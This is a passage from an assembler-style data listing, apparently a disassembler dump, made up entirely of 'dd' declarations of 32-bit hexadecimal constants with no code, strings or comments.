0E4ADA93Dh dd 0AF7DA7C7h, 68FA077h, 67F58EC8h, 0CA7F4774h, 0E9DC2CEFh dd 4EF020E8h, 7CCF363Ch, 2D72EF04h, 0ED88C35Fh, 2D8EA670h dd 87AD5636h, 6149789Fh, 0D45AC584h, 132CAC35h, 94EC9C0Bh dd 0D9D7EE1Ch, 6CCAD8A5h, 15493681h, 0A7D8D217h, 745C22EDh dd 0DDCFB9B5h, 3DF23842h, 44D4B7F3h, 20672AE9h, 0D7E0EF57h dd 4751C51Ch, 90F3C054h, 0DCE05E0Eh, 8CEE63C5h, 0DF2E7539h dd 15B30B77h, 1B3812D9h, 0C742AD64h, 0BCA09047h, 7F42659Bh dd 0BB7108A7h, 379E120Ch, 9CFE19E8h, 47159188h, 47D50E78h dd 0F8F344D4h, 0CAE334F5h, 0A70E5C8Fh, 0AD74EB55h, 0E6AD824Bh dd 54C002E8h, 8E9A847Bh, 0CD91D316h, 6088531h, 654ECECCh dd 0B5D511E7h, 575D0811h, 0EA685B7Ah, 0E715DF55h, 0AE3AA9C3h dd 0E8ED29DCh, 0CC3378FFh, 8BFD5CA7h, 9BC95C31h, 0D8ED1EF1h dd 26381F38h, 0DE7D917Ah, 0E5EEC7A2h, 0A426D2E3h, 2123D1A8h dd 527B7CC3h, 6DBAA97Ch, 0A7EF1A9Fh, 1AD5BB4Dh, 9AE42ABAh dd 89577A32h, 25E7D4E7h, 0C9CA7CE1h, 95BA470Bh, 0E87665A7h dd 7784AE7Ah, 6AC08ED8h, 639F0A9Ch, 649662C8h, 0B1AF5430h dd 49C433FFh, 0C192E3Dh, 11F1E61Ah, 65F49311h, 31F85138h dd 0A01F5DF3h, 301C3965h, 0DB606D28h, 922FAD63h, 0D5A50BEBh dd 0CFBEAC31h, 0C9BC24Ah, 0A7ED780Ch, 25F6A17Bh, 8B36BDF7h dd 0A0504EF3h, 6E3FB810h, 4CF58A2Eh, 3C5BD1D8h, 0AA2C70D5h dd 0C145E57Ah, 0A2F4D32Bh, 0D858A9B2h, 8BC3E1E0h, 0B41CAD8h dd 930B1377h, 0ABEDBD82h, 0D59CB488h, 6645D5F3h, 0F99C43F5h dd 7D5B962Bh, 80D74D0Fh, 0C237A660h, 660D6F6Eh, 83EC61C9h dd 7E5FF4B7h, 7204A7E0h, 2A8CDE5Dh, 599B3F83h, 58E61BCFh dd 64B307E9h, 293075BBh, 0AF023FBBh, 2CA3E096h, 95278CB4h dd 48FD8ACEh, 7466FA3Bh, 10422902h, 0D1CDA1E8h, 46BFEB5h dd 0D730131Bh, 0BCFCC936h, 0CB9D4CC0h, 23A8228h, 7E957C44h dd 4A61E4E0h, 0F0465206h, 0ADD0F1E4h, 0D1BB66FBh, 0D2EC5095h dd 500E7347h, 0F0560086h, 0A8058F55h, 903CAA33h, 0C7B30930h dd 30727294h, 55BB3148h, 2624C988h, 462F44Eh, 980779CFh dd 49E55791h, 34192C7h, 3B621952h, 653A9C5h, 21EEAD72h dd 62264714h, 0B72547C4h, 0FD06B876h, 6A80DE3Ah, 972DC53Ch dd 46EA36FCh, 0FFF1D94Eh, 84805D40h, 462FD4DDh, 21FDDF84h dd 7F84E3h, 3CCDDD4Eh, 399F6A33h, 34EDD727h, 845B5C61h dd 5924FEB7h, 62CBA7A0h, 0B326CA3Dh, 0F2A3C6Ah, 0F5052356h dd 9D4AC798h, 0BAF6140Eh, 38E180AFh, 0FBE2A880h, 0CDA929F3h dd 1FCB2B7Fh, 50354436h, 657C58A9h, 0BB9B1D6Dh, 103CA93Dh dd 8EA578F6h, 61DF915Eh, 798A5ABh, 2C35B932h, 1C914464h dd 0B63C9B7h, 55459B14h, 3786F7E1h, 0FFB3A9A3h, 98B12792h dd 0B2B70E15h, 6D4EC9FEh, 838D6035h, 487658C7h, 0AAB58F2Dh dd 0F6EDCD17h, 3056D351h, 3DF89F35h, 39D5B0D0h, 61F0E0D7h dd 0BA0A2898h, 0BF16392Dh, 52F0324Bh, 0B12B2A60h, 291EF787h dd 0AB0DD7B0h, 0B687B17Ah, 0E494B5FDh, 0DA594D4h, 9A07F493h dd 0F5FFA969h, 61D52E35h, 55D6E539h, 40CF808h, 69A2DC76h dd 63F026ABh, 5A4233Eh, 83E91521h, 0EA6E5F1h, 2FA51C9Ch dd 9A21B36Ah, 5B7697AFh, 35A9219Bh, 0F7769577h, 6A21A7DDh dd 474DA4F3h, 0A545F0F2h, 99CDCB2Ah, 0AB67659Ah, 7331A5A8h dd 61DC4B36h, 93F99D99h, 6292D618h, 57743666h, 9AA1286Dh dd 0DEFEC41Eh, 0FFF56373h, 0D9F3F845h, 691F8323h, 3D596473h dd 762E2E8Eh, 49EB28F5h, 2015088Ah, 0EBD8B517h, 0A2DAD8F5h dd 755AC847h, 85D87E3Ah, 41345EC4h, 3E0A15C5h, 83DB4161h dd 82D78FC9h, 4475ECB3h, 0C19A564Dh, 0ABF43157h, 0AE23A49Bh dd 0E6EB65Bh, 36665934h, 0E18849A3h, 359F72D3h, 2B02B046h dd 0AD849067h, 0A898FC97h, 806A6415h, 0E9206F56h, 23402EABh dd 0EF84341h, 98AE53E5h, 0A3150AB5h, 2B10D9ADh, 3E09DFEFh dd 0F2FC814Eh, 388325E9h, 0B08B57A6h, 0B21A48CEh, 19BFF6ECh dd 0ADA08837h, 9FEBD087h, 0FBCB110Ah, 822A820Eh, 0A07B8160h dd 0A16FA50Bh, 48DC6E35h, 0AD25D06Eh, 80D08146h, 2C1C4D4Eh dd 43C3A1AEh, 0DDA5215Dh, 347A76B0h, 17C4549Fh, 4D306477h dd 4E88A790h, 4D99864Eh, 1FCDB1E6h, 10D90775h, 5C3A7FF5h dd 3D7A0C59h, 64598B4Ch, 6C681E37h, 0CBC68390h, 5D947AB4h dd 0B914616Fh, 0D2000010h, 0F279333Ah, 0B87D5AA0h, 0A7CB0149h dd 814D133Dh, 3E781E4Ah, 8C0B1774h, 0E124FBE9h, 0B586EB24h dd 24657DFAh, 6876B213h, 2575FA98h, 1C1836A6h, 3B972F95h dd 2ABD121Eh, 0D5599707h, 5C2F6580h, 0BE414FC0h, 0DC572524h dd 64FF4CFCh, 0FAA4AFDDh, 2A25B69Ah, 0B3C8BFBBh, 33201ABDh dd 0A78200C3h, 937089Ah, 5FB92FEAh, 0F878E9F4h, 8EA30AB0h dd 0ABF3CFADh, 0A2D0E931h, 348CBEE3h, 0ECD25428h, 2D888311h dd 431D41C9h, 0DDAD6108h, 0CDBD4314h, 50E775E0h, 0DAF1575Eh dd 7A003E14h, 0D3F0B72Eh, 81EE4F98h, 0C7FB077Dh, 0C4D2689Bh dd 0C8C31EDCh, 13401176h, 7BA4790Eh, 44E1F032h, 6941CABDh dd 0FE698948h, 607C7E6Bh, 0A0DF922h, 0AAF8435Bh, 5083E096h dd 0ED8E3ACDh, 8ECEE974h, 0F8E65028h, 2484AA75h, 39DE7C4Dh dd 0D2AD9CD9h, 2A5A7B93h, 9C58F14Fh, 21A9B0FDh, 0C9F59F3h dd 0CAA1BDA1h, 0BC6F609h, 0A2AA2003h, 0BEC8355Ch, 293B061Fh dd 0BCA7515Ah, 92A6F761h, 0E99D18E6h, 0A915F3E4h, 0DA2D4192h dd 61DD435Ah, 90914807h, 80042F0Ch, 96965B1h, 2FC0E0Dh dd 1BB38107h, 24F69921h, 4746D1B5h, 938102D4h, 6E898B54h dd 245B7831h, 39EE6D8Ah, 0BEC63C96h, 366BB306h, 3540B355h dd 9ED497CEh, 1C5336D9h, 0CC2DBE17h, 5D6C49F7h, 41AE65D2h dd 4A2A0E03h, 84D781F6h, 17E62935h, 3A1EFDF5h, 3F940C7Ch dd 0AD2D2A5Bh, 839FEAACh, 5D15A3EAh, 7A76A102h, 0B63B3564h dd 4B632EDAh, 643574EEh, 0F34410C7h, 0F15E5527h, 176A2B60h dd 0F14198D0h, 0C3E7BC73h, 79EE268Ch, 9FBF2CAh, 5F3F4CEDh dd 0FA32DA1Dh, 1C1D7DB3h, 1556AEC9h, 66D6D174h, 277FDB65h dd 667DD466h, 0D19ED16h, 71039225h, 0E3CBF915h, 7ABC3EA0h dd 0B455931Eh, 0F7781E43h, 0F5A1EBB5h, 54BC4F3h, 707B03BDh dd 0CFB67AB3h, 8A6D6061h, 36023860h, 0B35E6CFh, 0CA4B9CECh dd 0C7A88E4Eh, 30F3AAAFh, 99E5A3F1h, 0D50373F2h, 4C92BBF1h dd 4BC5A0Eh, 7B5DB286h, 71B6ECEFh, 78788821h, 3EC06EEDh dd 0F220E678h, 6FBFFDD3h, 0FC427A9Fh, 0C15C8E8Ah, 22C63C9Eh dd 4044BAC1h, 0BEC69C6Dh, 0B0ECF33h, 0A669F9CBh, 0D665A32Dh dd 38B9ACF5h, 283A7A86h, 4206459Ch, 0AE0EF459h, 769A5C16h dd 6C50527Bh, 9C65FF59h dd 0BC81F24Dh, 0DBE11D72h, 0AAA38A77h, 44353A7Ah, 0C68B70Fh dd 7217C758h, 3F7A4889h, 8BCD3078h, 0D59487B2h, 51485175h dd 0BFD1275h, 4427C36Fh, 929EAD46h, 6AA3BDA6h, 0FC38E212h dd 0B70BDA12h, 0A5DA8D2h, 21470B4Ah, 0C0E2CC12h, 0A46EE071h dd 162D1A06h, 11FE719Eh, 0CC79263Dh, 4D7C7C04h, 0AE37D8A2h dd 96EDB7AAh, 0BC589AEFh, 9EF2D6B6h, 0A68A8045h, 91E8DFDBh dd 3A228B3Ch, 754934AEh, 770FF767h, 76187015h, 32DC51B1h dd 39973787h, 54E120D7h, 0B4B2D0ADh, 7EE1536Ah, 0BB04E050h dd 0F01007AFh, 0E1388191h, 0CF20A77h, 4CC8909h, 5999A0E4h dd 0D2E97423h, 0C8746106h, 0F37AA3ABh, 0F5FB5751h, 0B11E7849h dd 0EC833D9Fh, 2B254085h, 771D1EEAh, 6EA9AC0Fh, 7B27618Dh dd 0D92308E1h, 0DABD9376h, 712B0FE3h, 0AC4C4F8h, 0F8ADAFFh dd 0E537AC6h, 19251DC7h, 55FDEAB5h, 4BEA3EC2h, 0CF112059h dd 345D17AEh, 264B8D71h, 0B2D31EFAh, 0D4BC176Ch, 5C173C3Dh dd 125B0D5Ch, 81838E22h, 8201B3CEh, 16360B12h, 0C23E737h dd 0CB5472D1h, 29DCFB8Ah, 0EBC58DE4h, 0DA89A551h, 8E6A2114h dd 4170BE10h, 9E81F17h, 0D5D924C5h, 4FC5B45Fh, 0F3886D92h dd 0B07C11BEh, 7A943F74h, 4C619AA3h, 0E3B92E4Ch, 0AAB38C32h dd 0CD34D35Ah, 0A8D71CECh, 7F30FFD9h, 0C79F15DFh, 0F876B8EDh dd 0C8D11D16h, 8D3D896Bh, 0D5F3FC1Eh, 53832D1Ah, 268D2A4Ch dd 0AE7964Ch, 0AA0AAB45h, 2788D2C0h, 184D1222h, 8A63FFC0h dd 2CFC9497h, 1FF656B6h, 3CFE501Dh, 7DF17D9Bh, 166F9243h dd 91A3D2DAh, 0EF79460Eh, 2A79EC86h, 5AEF49B2h, 0DC70E249h dd 36042098h, 300E7835h, 6669D749h, 44CF4FE5h, 0B610EAA2h dd 0C345DF3Ch, 0A3AC367Ch, 55D180CFh, 60FFC407h, 554A1A95h dd 26F18E0Fh, 0F4B924EAh, 920B05AFh, 7B97541Ch, 3F7E0B34h dd 49333897h, 7770C0CCh, 68EE5457h, 0C88480A6h, 0D054DBB5h dd 915DE7B2h, 0B44F84h, 26E466D9h, 0D3D03B70h, 0FA0E6DD5h dd 0C67511CEh, 0CD5C0CF0h, 0D402F459h, 0E7DD6AE5h, 84C68594h dd 2CBD4EECh, 70E55E1Eh, 0C3ECB960h, 929F01D3h, 8B79C47Ch dd 0DCEDF627h, 0FF553018h, 9D788D04h, 9DB33348h, 86ECF481h dd 67D3B6B3h, 0A9B7D163h, 0E6819187h, 82005ABBh, 36CC3E2Ch dd 6D625DE0h, 0F1B1BD31h, 296675B6h, 9CD79BA7h, 8266281Dh dd 5F433782h, 11BDF045h, 4A212C9h, 4B71E0D6h, 0EFE64FAFh dd 0A3438CFAh, 3A9F45F3h, 92B9CC6h, 8D46F437h, 52754EDEh dd 73959A65h, 78171010h, 75EB0FD5h, 0E5E5178h, 34EB2108h dd 73C55352h, 685206BDh, 0BEFB2016h, 6A50FF4Bh, 0BE590C34h dd 28DABCFBh, 0F6CA93FEh, 0D9ABD0B2h, 0DA2B2441h, 698D0500h dd 0BDE5979Ch, 8196589Fh, 3F1CAB24h, 80CA5A25h, 36429028h dd 775D0BDCh, 2587F176h, 98FC33A5h, 19C32C45h, 4F358DEAh dd 8C8F3B56h, 0BEB1644Ah, 0BD439CDAh, 0CC175122h, 0D56D6B5Bh dd 14694288h, 7F4BF652h, 39AB8E7h, 0DEE6162Dh, 0D44C9092h dd 4678AE5Dh, 7E315876h, 40473038h, 0A1877F36h, 849DBFD5h dd 138817D5h, 0A9659BF4h, 0FB44B80Ch, 69D716FCh, 8B17595Bh dd 9D3930ADh, 4C7ABF2Ah, 555BA507h, 9EA7750Dh, 0C75B31F4h dd 0CBDA8D65h, 0F9189A05h, 0FDBB9AC6h, 505C1F3Bh, 84A3E16h dd 0DA065A45h, 9E0B0EDh, 31B1E7CCh, 59C20456h, 0E4BBAD0Bh dd 0AE10B320h, 0EC3D1B02h, 0F944789Eh, 0EC1B0BD1h, 490A235Ah dd 0BD9097CCh, 3A8D243Dh, 4C7DB2CAh, 0CA01A03Fh, 0A4032BF0h dd 9A6B0378h, 10EACD29h, 5F885ECDh, 0C78DD4CAh, 33D0C97h dd 0BE754795h, 0C7C78BDFh, 3464EE4Dh, 135BD0CBh, 80A988Bh dd 7142F50Bh, 380F7187h, 60F860A9h, 95B359D1h, 0C461FB0h dd 0AC62A990h, 0A24BE376h, 0A2CA8B7Fh, 0EE1C1844h, 0F0269563h dd 0D2FE868h, 4928FC86h, 0BAB95874h, 30152CE6h, 9AFE20FCh dd 0DD49B844h, 7718FF59h, 0F90DF5D7h, 0D5F528DEh, 15D41327h dd 39033074h, 0CAEC0D60h, 0C5F1ED83h, 42633C01h, 57B9E5F4h dd 5A8C0353h, 0ED67C50Ah, 571D3ED5h, 9A88DD34h, 0DFF6451Ch dd 0EC7186DAh, 0D829EB73h, 0A7D2D196h, 9B52CBD8h, 0DDA3871Fh dd 0EB33666Ah, 95CAA574h, 66941A14h, 1ED98F8Fh, 2205B0AEh dd 91D8D2FAh, 3563662Fh, 56D5B1E1h, 3315655Dh, 0EEC90998h dd 5C7DE7C9h, 8CDD51Ah, 8B276736h, 9AC5A0DAh, 73FF78D6h dd 8FABC9F7h, 0C48B9133h, 96D44D4Bh, 34B1BC05h, 0BE80309Fh dd 0DA596B0Eh, 1D30D9C6h, 0BB70460Eh, 632FEEB7h, 695CFD9Dh dd 930C9D69h, 91962587h, 84269598h, 6D4A1068h, 0F314F645h dd 72F7F283h, 216BEB98h, 24BAAD67h, 21A48F03h, 6BC41581h dd 22658475h, 203B92E9h, 2D9615B8h, 37C07CCAh, 449E5A81h dd 0D7B26F9h, 48ABE2F9h, 215C6E48h, 820513D3h, 0DB5B1E8Bh dd 0E22D0B04h, 5EF8BC22h, 0B3BC8A9Fh, 25A433DCh, 35641AFBh dd 96FBBC68h, 51D3D68Eh, 0FC8DAE7Fh, 0B22208E1h, 12BE0765h dd 0C59A8D45h, 8549D8D2h, 951724D0h, 7A6F7DB1h, 59E28000h dd 0F59F619Ah, 971F2716h, 84C2570Ch, 44024C2Ah, 0FF7467C5h dd 0FE7F6C4Ah, 0A4CA82BFh, 59D59046h, 8CF80794h, 0A08CB61Bh dd 0B083F1E1h, 0ADB7A6F0h, 0F55EA97Dh, 7773C5B6h, 675CD9CDh dd 71BB4D18h, 0EB6B2FC6h, 2749BE7Bh, 0F2E7C02Ah, 0A49AA081h dd 8790B6FFh, 9A796BBFh, 0DAE703EEh, 0C17EC014h, 9D9094DEh dd 8FC1856Ah, 7D55FA84h, 7EA10FFEh, 819150F9h, 76532155h dd 0E2F44B0Dh, 0C55A3E27h, 419DE1E6h, 2E61714Ah, 6FA521Bh dd 3BEE748Ah, 96FD7F52h, 1EC3A3A4h, 0AC218F7Bh, 0B807E0CBh dd 0AFA58C4Ch, 0A53ABAE1h, 47856CF3h, 132F9FBDh, 0BC472677h dd 64323FBh, 297FA07Fh, 0FC2B7ECFh, 0D6DDCDh, 0D65E636Bh dd 44DB0113h, 8F6D79F2h, 77F63245h, 0B41CF1Bh, 0F46781D3h dd 3E0DA9CDh, 0F139D6D6h, 550E9BF4h, 2B672944h, 0AA53EE6Eh dd 0CE0D5042h, 0D3D94FFBh, 0EE5795E2h, 0BF2471Ch, 0CBAC4BBAh dd 0C1F452AEh, 6F6D366h, 0C5C34453h, 0CF676159h, 5A0358A2h dd 3DD2D156h, 59E9B639h, 7193C462h, 0E5632AE4h, 0E91FBA5Bh dd 87064B93h, 0D68A2AD6h, 7BFAFED7h, 0EAAD72B3h, 5E298C1Ah dd 6C8DF776h, 2943552Ch, 591E0A37h, 0E21DB843h, 97364DC4h dd 0B003CB3Dh, 0FE9B9A97h, 0DD660671h, 9DC5DA6Ch, 719F3F38h dd 0BBA3F62Bh, 0F0BDFFA9h, 0FBF870FDh, 73A4AFE9h, 6AFC1ED6h dd 50909BA7h, 3A2B329Eh, 34D59145h, 0A9BF08B4h, 24F098B7h dd 2892E525h, 9B9F3F7Fh, 5D65F2F0h, 0CE4B5DFEh, 28DC714Bh dd 0EE701E18h, 737466EAh, 2D8440D1h, 7C7A837h, 6A9BF3AFh dd 67D969C2h, 5D0D166Ch, 0CEE59DFBh, 4A6D8DC4h, 0A1E90E2Dh dd 0E5396EC4h, 67414179h, 0C636476Ch, 2FBF2177h, 0D3A090DFh dd 6F9E5F1Ah, 2DEC44ECh, 761BC15h, 18217F1h, 0AD6730BCh dd 6F16863Fh, 0E03486F4h, 6AB8B37Fh, 1B3C8FA8h, 430E4F50h dd 0FB996007h, 4C625FD6h, 0A868F2FCh, 0D94096DCh, 10E111F3h dd 60BCA678h, 5B09B792h, 0C4BFFE07h, 0AEF6AD4Eh, 0C368D907h dd 0F4D4831Fh, 72D06150h, 8671A875h, 0C3E20F85h, 7E12C4Ah dd 0A6C64E3Eh, 0A01AB589h, 663011C8h, 5FD6FB9h, 5E960655h dd 0CAA5F282h, 97DCEC5Eh, 33087F4Ch, 1A609D83h, 569AA31h dd 79E34D02h, 0B03DDBD8h, 470FABE8h, 4643B0FDh, 0A14DEF9Eh dd 0E6F362F8h, 227DB382h dd 8DBCF013h, 0DE0EC18Ch, 5A4445B0h, 0B1CAF2C2h, 44242075h dd 0DC4731AEh, 591D2C42h, 24C5F2E1h, 89AD8F3Bh, 24DB8C3h dd 0E6ABA994h, 31102F5h, 0FBB83183h, 0C8971276h, 0D230F068h dd 811085BFh, 50F0BC73h, 0E357FB57h, 87A3F8DFh, 0E29C337Bh dd 30B95B6Bh, 0F6625EF3h, 0ADF0167h, 4A56BE49h, 0C1D4E67Dh dd 0F0508966h, 532DC36Eh, 2C8CB4C0h, 52A74BF7h, 22ED60FBh dd 67CBFAEFh, 0AEE8E7C5h, 773D679h, 4078E543h, 6FB53FAFh dd 9972E751h, 153DFE7Ah, 0BA580CC2h, 0B0A3CC72h, 8C2062C8h dd 3112D86Bh, 0BC516E5Fh, 99D0B189h, 58339A98h, 211434FAh dd 4DC18447h, 4A888059h, 9141C744h, 17FD0971h, 6751CD22h dd 0FEAF3ED2h, 5C169F4Bh, 1D2B421Ch, 0A4CFC5FEh, 0DED4A0DAh dd 8CFA6208h, 0B01DD6DDh, 0F91F96D1h, 4A13C998h, 0CFF105EDh dd 15C3C965h, 0E293BFF6h, 0CAF713A8h, 76B08765h, 19A2C74Dh dd 73E69548h, 0BE732909h, 0F9AD284Ah, 0A6D96DFCh, 73C697FCh dd 70359204h, 0CB7283F9h, 0BE6AA292h, 0C2943819h, 0EBFDC18Eh dd 6F6DB01Ch, 9B4833F6h, 1DD3B06h, 0E07C8520h, 25372F68h dd 466117CDh, 93A359CAh, 0E4C78FE8h, 0BFDAE4D7h, 0CC14A48Ah dd 5CAC1A92h, 219169A0h, 0BF5118DDh, 0E3919BEDh, 53CA22C8h dd 56FEC552h, 53372368h, 1B89E562h, 0E98604B0h, 2F42162Eh dd 8C8290FCh, 0C1E3033Bh, 4784834Fh, 22D2ABC2h, 0D4F1BEE3h dd 0E78705E5h, 0CBA5D037h, 66E51475h, 0F8AB2D74h, 0A35B912Ch dd 0DC1D4B03h, 85691F3Ah, 614ACB34h, 0D6CA7A94h, 9E6FEBFAh dd 0DCD24013h, 0AB0BA4CAh, 2B9286F5h, 6E2F8550h, 9A68D120h dd 75C15EEBh, 24DC655Eh, 0F59006D6h, 0ED3DE819h, 62A11461h dd 0BAFF3EBCh, 32CFFBCEh, 0A96D5691h, 1FF63362h, 6160DA97h dd 74FC76E2h, 3AE36715h, 0FE935080h, 29039B67h, 131016ABh dd 0DDCD68C8h, 8F2E6402h, 54C5F3Fh, 15A4BE3Ch, 25E80D99h dd 0E451BD78h, 38C82D2Dh, 64BADAD6h, 9B5B0371h, 0CC5C7E25h dd 9D16FAB2h, 30974E31h, 0C668F061h, 0D429AE99h, 80D63F1Ch dd 34AD18EEh, 3A1203A9h, 3D3DC6B8h, 20BD252Ah, 24ECEFABh dd 8F9C83E1h, 0B8112934h, 2478652Ch, 1CECB93Fh, 0D76E637Eh dd 5F91DB58h, 56B7886Ah, 45382EF1h, 664AFBB5h, 5A4E60A9h dd 2BDE7F1Dh, 0C0D3922Ah, 0CEFB323h, 58EAFBA2h, 6910A9DEh dd 1BD66CFEh, 3C834A0Bh, 0E7C4CC52h, 0C519466Ch, 0B3042D85h dd 0E83DDC46h, 78AEDB84h, 3AC7A19Bh, 0DD43DAC0h, 0C1721FA4h dd 70C7112Bh, 7458885h, 0CC95CD7Dh, 9B692500h, 0D8521D7h dd 1E503122h, 4D62F5F0h, 0A34D7850h, 6085E42Ah, 259D5E3Ch dd 8E741C54h, 0C782214Ah, 7B56E03Dh, 9B05C0A2h, 9AB2D57Fh dd 364DAC07h, 8C2F9E55h, 0EE222B2Dh, 0BAF6160Fh, 13D2878Ch dd 610D2FFh, 2548980Fh, 8E006FE1h, 0A4290CA0h, 9F4C3B3h dd 8D3117A8h, 2EBD3C3Ah, 772F090Dh, 3C2C1250h, 2CC95757h dd 8A30BD0Bh, 0DE70F244h, 0A5459EB7h, 655DBDh, 51D6F918h dd 0E803FC0Fh, 0FF530201h, 0F7C969B2h, 0ABA6B2F8h, 241493E2h dd 0A324C5F2h, 2D0508FFh, 17C84A08h, 3CBE082Eh, 582644F1h dd 0C7017FF4h, 462A2D31h, 5366D170h, 0CB88C0CBh, 5B75D96Eh dd 436DF62Ah, 0B379EC37h, 3C313696h, 7548A0A4h, 0F6FEEECBh dd 18B8DF09h, 9AAFCDB2h, 0A4966DD4h, 6AAC6D65h, 168BDABEh dd 7B5C6476h, 4533A754h, 43C2447Eh, 79C70C96h, 8F46CACh dd 84E6728Dh, 0B36A80C9h, 0B56F3DB0h, 0BC5A69DEh, 7853119h dd 30EB2DBh, 4F482CA4h, 0CE49BFB6h, 46882882h, 0AE89E330h dd 0F924A98Dh, 0B406B0FDh, 0A935F3AFh, 776DFE45h, 0C4D88CE1h dd 9F66E38Dh, 96B9F5D3h, 1CF17DC1h, 0AEBA0E61h, 990EAC6Bh dd 0CC951894h, 6D62524Fh, 2A1A9A13h, 6FCFC5E2h, 0C82EEF55h dd 65B6D906h, 0EB898337h, 0ABB54768h, 0C77E43EEh, 0E843A8A7h dd 15B7AF74h, 50DA9DF9h, 63D50E0Eh, 1E777F0Bh, 7076C393h dd 2C27F012h, 7F4433CBh, 2824FE90h, 506E43EBh, 0F3CABB6Ah dd 62BD397Dh, 65E9D479h, 6D9CDD75h, 50246CFBh, 0B8B320Eh dd 0D8D92392h, 86FF5502h, 0CB7026F1h, 0E6A196D4h, 0BB5417F6h dd 0AAF2C273h, 0E572EE06h, 379728BEh, 0AA6919DFh, 462B97D9h dd 470EF86Bh, 0ED6F77D7h, 0ED76294Fh, 78B56936h, 39F5ED43h dd 0F7DF4923h, 514C5EB7h, 5C1C6A2Fh, 6DD559F7h, 308B27A8h dd 0EF02026Fh, 73DEA08Bh, 0D011BED0h, 0B5C82D4Fh, 203E5CEFh dd 63F0F254h, 0FD686B71h, 8F1045Eh, 8F06EE57h, 0ECEB02F2h dd 4E4589B9h, 231CDC0h, 613F082Fh, 0ECCB85B4h, 67AD3A72h dd 0C69248A1h, 25C165E8h, 0B1598C6Ch, 139BA18Eh, 8A4CE996h dd 0D2D4F5FFh, 449830E2h, 0D681C674h, 0D873B9B7h, 105AFA2Fh dd 6CA7ECF7h, 78D89E6Bh, 0F1DCDAC9h, 0F266C7BDh, 85FC5830h dd 4EFED789h, 9BEAC1FFh, 284CEBDBh, 7249EC35h, 855EFED4h dd 6B803639h, 618CDA8Ah, 0EA62FD41h, 0B1A38229h, 2BF01D8Dh dd 193F8B18h, 3431A67Bh, 0B374A729h, 56D5C947h, 8D830F1Bh dd 0A7F1A81h, 78A60C69h, 0D725579Fh, 96CF9B03h, 0CEDEDC9Eh dd 6C59CD59h, 0D7278A8Ah, 7C515E35h, 2C7DC8A1h, 345C285h dd 3F044D5Bh, 0FE1EF5D0h, 0DB29ADBFh, 8D03586Eh, 0B295C7B7h dd 2B89260Ah, 89202FADh, 462E1DE8h, 0B61C97D3h, 9C6BBB64h dd 0DFD5CAD9h, 5A2C990Fh, 0D602E8FAh, 1E09FF36h, 45B69D88h dd 0AC31EB21h, 0F59CEBADh, 5A087BCBh, 0A65A28FAh, 0A897BCB0h dd 0B5A82279h, 59703868h, 0C6C2F602h, 1BE5F875h, 0D6141A28h dd 0CA6B557Eh, 0F356B349h, 0BCD6C0FFh, 0D7641FADh, 0B17A6D36h dd 9CE65824h, 0C1B4ABB3h, 310184E2h, 7F570EDEh, 0B03C732Bh dd 0C83FAEA4h, 0CCAAC67Fh, 7147351Ch, 0AFDBEFF7h, 2B7CEC74h dd 0A94D437Ah, 0D51DE851h, 29F8417Eh, 1A80D318h, 74F2199Ah dd 0F5F4F55Eh, 0C45AE622h, 6EBA0982h, 0D830C669h, 0A84C92Fh dd 0C48F2C13h, 0A4F4C084h, 6820A455h, 0CF7C6C1Dh, 8C4708EEh dd 91B06B1Bh, 910A0E83h, 4B8454F7h, 17FF4F81h, 0B62463E0h dd 0FA7B9B48h, 0DE498B8Ah, 0FEE4C076h, 7D99D30Ah, 0F39A8604h dd 0DD023856h, 18A50EE2h, 0B6F5EDCFh, 0A84D1224h, 0D82B8715h dd 0A0658F74h, 9B57953Bh, 0C4C575A1h, 505FC2FEh, 47B2B30Ch dd 0B73D5357h, 0F454D066h, 0BF329FBDh, 0BA545C1Ch, 228DFC85h dd 0F1694A74h, 68B54F07h, 0D5CDB9EBh, 0AB36E54Fh, 2530E9A7h dd 0D207337Ah, 5E3A1042h, 0AE0A77D1h, 5E6463F7h, 6067692Dh dd 0AC09AC91h, 2C572B47h, 9E3EF7C9h, 22D86AF6h, 87057B55h dd 85642CBCh, 9A52D1C1h, 0BDCF2D2Ah, 12C1C593h, 494CE4B0h dd 0FE9826CBh, 0F6B7EE07h, 0E85CD215h, 0FA3E08DFh, 59EF1E6Dh dd 0B2A141E4h, 6EC54956h, 669E15F5h, 0C64497D1h, 10A9A8ADh dd 2EA5F2DDh, 0B21C1E2Fh, 6BCA08A1h, 83506F29h, 0F241CF39h dd 0CB320AEAh, 3E43824Ch, 1C912965h, 0A46AA97Ch, 0B0EBD0DFh dd 0F6051A57h, 6E845AB6h, 9EFFEEDAh, 5CD26345h, 0D39FE92Ch dd 0DBE2E074h, 0DAF18315h, 3C74901Ch, 2CB052B9h, 6C84BF52h dd 0BD43376h, 675C9622h, 0DB29C57h, 9F7F64B7h, 772DE8F1h dd 620A9AD2h, 6D114F74h, 0E499B118h, 5B4DA071h, 376FCD36h dd 3D1046E7h, 0D4C6FC70h, 767882B1h, 0C3D35187h, 543C82AEh dd 3E377F35h, 0E6CB083Bh, 92A68F0Dh, 7D946BEEh, 0ECC9D44Ch dd 0B8E36130h, 0B8DD5F50h dd 4BE2C92Dh, 1B499EFFh, 0D07F0BBh, 0C630E2C0h, 5E8B5DAFh dd 0F6341439h, 90087AF9h, 1696550Dh, 0C927D1B0h, 7932F4B0h dd 0B4C11BCAh, 0BBFD91B7h, 1BE3CDFBh, 26FCF82Fh, 0F5FFBD62h dd 25D627FFh, 53B79C25h, 608621DDh, 0D11BB3B8h, 12E54172h dd 0D5B24B4Fh, 0D84A5Bh, 0E7AF75AAh, 0E32E34DAh, 3F71E89Fh dd 84A87E47h, 0AF38BDAFh, 982EF6FCh, 0E9323B85h, 2F139424h dd 4282C89Fh, 3B27FB90h, 0A34A4F4Eh, 3152598Fh, 0FD7A4970h dd 0C2C50C01h, 0F6E3981Bh, 78118545h, 0F32E0B1Ch, 90C8CCF5h dd 3E75C1AEh, 2DF6AB46h, 9F4E7F35h, 8E88120Eh, 0C8D60762h dd 0B4AF2922h, 3E3201BCh, 18D80CBEh, 0C99246C8h, 29B46C8Dh dd 70077B23h, 2DED1319h, 0A4B4D435h, 0DA22BD7Eh, 6CFE800Bh dd 0BA49D004h, 276BEDBAh, 0F802479Ch, 5903F54Eh, 8141D3Bh dd 87422007h, 134554B8h, 4D028F95h, 76AB4A72h, 97535E0Eh dd 2011AE33h, 0ECED7D0h, 0A9EFD1C7h, 766760D0h, 0C189237Bh dd 0CECF6806h, 275578DCh, 253F4FCh, 4E44DA94h, 579D9618h dd 0A0CA2115h, 7225DEAEh, 414BEEE7h, 0F4ECCEE4h, 312754B2h dd 0E4DF9DFCh, 6BF7840Eh, 41BE28AFh, 6B904D60h, 59C953A6h dd 